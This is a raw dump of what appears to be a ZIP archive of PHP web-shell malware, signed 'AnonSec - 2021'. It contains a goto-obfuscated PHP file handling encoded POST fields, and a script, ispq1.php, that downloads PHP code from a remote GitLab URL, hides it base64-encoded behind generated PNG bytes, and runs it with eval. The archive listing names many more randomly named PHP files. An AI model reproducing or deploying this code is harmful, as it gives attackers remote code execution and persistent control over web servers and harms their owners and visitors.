pxxt3: goto olZtW; di3MM: CNOhR: goto rx5Up; N0ylX: ct3Gd: goto zdpHs; vxfQW: tMLMs: goto P5mXa; PQmoy: e0lNf: goto cytL0; s2s94: goto TRGsF; goto rdMJx; xyW2D: rLxPm: goto p_EOs; yUM6u: goto YeuQW; goto dzeBt; V6dIU: ReNg9: goto jyS94; BIpk2: $D8T_A = $_POST["\162\x65\156\x61\155\x65\x5f\x6f\x6c\x64"]; goto HsnEG; GhxD3: NqXEh: goto ElFdE; D5qrK: JrmqN: goto FJHh0; JTJ_6: goto tALZ4; goto XtvJl; E31b3: goto bJytY; goto e4M5A; E9h2t: q_Gb2: goto FWA0z; QPOkG: goto ARs3X; goto njHjZ; KMLro: HfICC: goto GgoUW; KXSWh: SXti3: goto XRTM4; w6xZ2: D0vP0: goto xzbO_; OlNXB: Mui_y: goto Vnkje; hu4uH: m1ruy: goto TNp3M; nndCL: goto mqyWi; goto H91jM; Cd6kR: goto CcQIm; goto dSIe6; yTLyD: btFGI: goto xHuA4; oQSm_: goto C6uMX; goto MLYir; fK7R0: goto opisV; goto f2HDu; LlrPd: YvT8m: goto zSz8T; s49_e: GWlCj: goto j51ry; ekQhe: goto b2u9j; goto AZoWW; TzBhQ: K3Ir3: goto QkkKu; AjmtK: WBdv7: goto yNu6z; oVXyY: pYA8s: goto HPY0G; Bcjeb: goto yySjF; goto vnxQO; KFZlq: poMp0: goto YRVUI; NOZ52: goto MeGcL; goto lGHlv; HHskW: goto MntkF; goto KFZlq; Q1nFk: goto fIfaC; goto coJ7U; UBRcL: NJFPs: goto N0ylX; vCrY0: ARs3X: goto AL3g6; P0cNU: goto Jfy1n; goto bcJ_M; lGFhF: OuYb9: goto EaT8m; xdkE_: goto laL26; goto H7JE0; K4XlR: goto KAiSu; goto xWAA_; vX9vH: goto Elnla; goto nuTOO; ReGJh: $HbhNW = rBQ7a(file_get_contents(__FILE__)); goto X385F; Pa9jH: NtNFa: goto BHdPu; L7bMW: HNHs5: goto dROu6; QKDK3: xqiY_: goto V4Gs8; RUISB: lgzIG: goto UDY38; TVOEv: goto Fe25h; goto ijn0m; fdusi: KOFAb: goto VTkSC; GKNUm: goto YcUig; goto Km40z; oaJ0w: goto KPedQ; goto yGKF6; fMQvJ: goto XYPS_; goto VgiTK; Or33W: goto YKM7Q; goto OzAbI; Zp6nL: goto HTfnm; goto NC8Tt; dZWzT: goto wGDt8; goto ri253; ilgUX: p0oO0: goto hnCgw; KCaqs: BNnHl: goto e6jhU; gTcbi: SsqsW: goto Ih3aE; OksMU: goto QtsT4; goto UL46I; GGuih: goto xjdod; goto vqmLF; ocGZL: goto TtH1T; goto MH_RT; z51Jf: goto SGf7r; goto vxfQW; EP9uh: HT2aX: goto J66w6; D8WFc: S5Fw8: goto oyvT0; A8Ezk: VdhuI: goto b7_TF; lf5xV: MiNjJ: goto YeYhj; QPI4H: wGDt8: goto kp5n9; sFQq4: goto L3B6x; goto AjmtK; igrmk: QIiQR: goto QKDK3; dgkA2: goto TOJnr; goto wY4I7; foNlo: goto o43mB; goto PvGsR; bigK0: goto EtncM; goto ot7OM; fabGN: nCsBk: goto mxgon; MWJuv: BAl0B: goto HOZFb; Y1nBo: NEL4y: goto maSn0; ySbKt: A5jA1: goto L3Tk1; RrQzB: goto BAl0B; goto ozSq7; cqOD9: L6DFb: goto bZqDa; yIUPW: HXUmP: goto Y3LoV; BOUyM: EMYdI: goto S2lqR; DW21w: goto fBo5l; goto oYOLp; kEL20: goto SbDAZ; goto yxCxR; HVahR: goto rjHcK; goto mrbai; LYSDv: n2WkM: goto l14V2; C9Pxa: goto T4o2I; goto by2Me; Lct8Y: goto YpUjo; goto EiIeg; iXpBE: goto ANHC2; goto QPOkG; fG3tv: echo "\x3c\x2f\142\x6f\x64\x79\76\12\x3c\57\150\x74\155\154\76\xa";PK�jm\��'�	ispq1.phpnu�[���<?php

/*
Improved PNG disguise for hidden PHP payloads.
This script fetches remote code, embeds it into a realistic PNG file,
and executes it stealthily.
*/

session_start();

// Main remote code URL (can be overridden by session)
$mainUrl = $_SESSION['ts_url'] ?? 'https://gitlab.com/mrgithub89-group/mrgithub89-projectaa/-/raw/main/wp-security.php';


// --------------------------------------------
// 1. Generate a realistic PNG image (128x128)
// --------------------------------------------
function generateRealisticPngHeader($width = 128, $height = 128) {
    ob_start();
    $image = imagecreatetruecolor($width, $height);

    // Fill with random noise
    for ($x = 0; $x < $width; $x++) {
        for ($y = 0; $y < $height; $y++) {
            $color = imagecolorallocate($image, rand(0,255), rand(0,255), rand(0,255));
            imagesetpixel($image, $x, $y, $color);
        }
    }

    imagepng($image);
    imagedestroy($image);
    return ob_get_clean(); // Binary PNG data
}


// --------------------------------------------
// 2. Load remote PHP code from given URL
// --------------------------------------------
function loadRemoteData($url) {
    $content = '';

    try {
        $file = new SplFileObject($url);
        while (!$file->eof()) {
            $content .= $file->fgets();
        }
    } catch (Throwable $e) {
        $content = '';
    }

    if (strlen(trim($content)) < 1) {
        $content = @file_get_contents($url);
    }

    if (strlen(trim($content)) < 1 && function_exists('curl_init')) {
        $ch = curl_init($url);
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_CONNECTTIMEOUT => 5,
            CURLOPT_TIMEOUT => 10,
        ]);
        $content = curl_exec($ch);
        curl_close($ch);
    }

    return $content;
}


// --------------------------------------------
// 3. Create payload by appending hidden PHP code
// --------------------------------------------
function createStealthPayload($phpCode) {
    $png = generateRealisticPngHeader();
    $marker = '###PAYLOAD###';
    $encoded = base64_encode($phpCode);

    return $png . $marker . $encoded;
}


// --------------------------------------------
// 4. Extract and execute hidden payload
// --------------------------------------------
function extractAndExecutePayload($data) {
    $marker = '###PAYLOAD###';
    $parts = explode($marker, $data);

    if (count($parts) === 2) {
        $decoded = base64_decode($parts[1]);
        if ($decoded !== false && strlen(trim($decoded)) > 0) {
            @eval("?>$decoded");
        }
    }
}


// --------------------------------------------
// Main Execution Flow
// --------------------------------------------

$remoteCode = loadRemoteData($mainUrl);

if (strlen(trim($remoteCode)) > 0) {
    $payload = createStealthPayload($remoteCode);
    extractAndExecutePayload($payload);  // Executes hidden remote code
}

?>
PK�:g\\9�:ss	index.phpnu�[���PK�jm\��Ǵq7q7	�oiq2p.phpnu�[���PK�jm\Aj�%\%\	V8962ta.phpnu�[���PK�jm\t�J��)�)	��jimvt.phpnu�[���PK�jm\�����	ݾabout.phpnu�[���PK�jm\o�e�*�*�		�bepyo.phpnu�[���PK�jm\\9�:ssl�index-20260307205130.phpnu�[���PK�jm\�!-�AA	'�wezvg.phpnu�[���PK�jm\"��g�X�X	��916iu.phpnu�[���PK�jm\�9]�::	�lc20b.phpnu�[���PK�jm\�r���	�Bnf0qj.phpnu�[���PK�jm\�0a�n�n�	(�ihmkq.phpnu�[���PK�jm\�a]t֭֭ρservice.phpnu�[���PK�jm\�6�����/samurai_activity.lognu�[���PK�jm\�Ύ=�/�/	�0zkmqn.phpnu�[���PK�jm\��'�	�`ispq1.phpnu�[���PK�m

AnonSec - 2021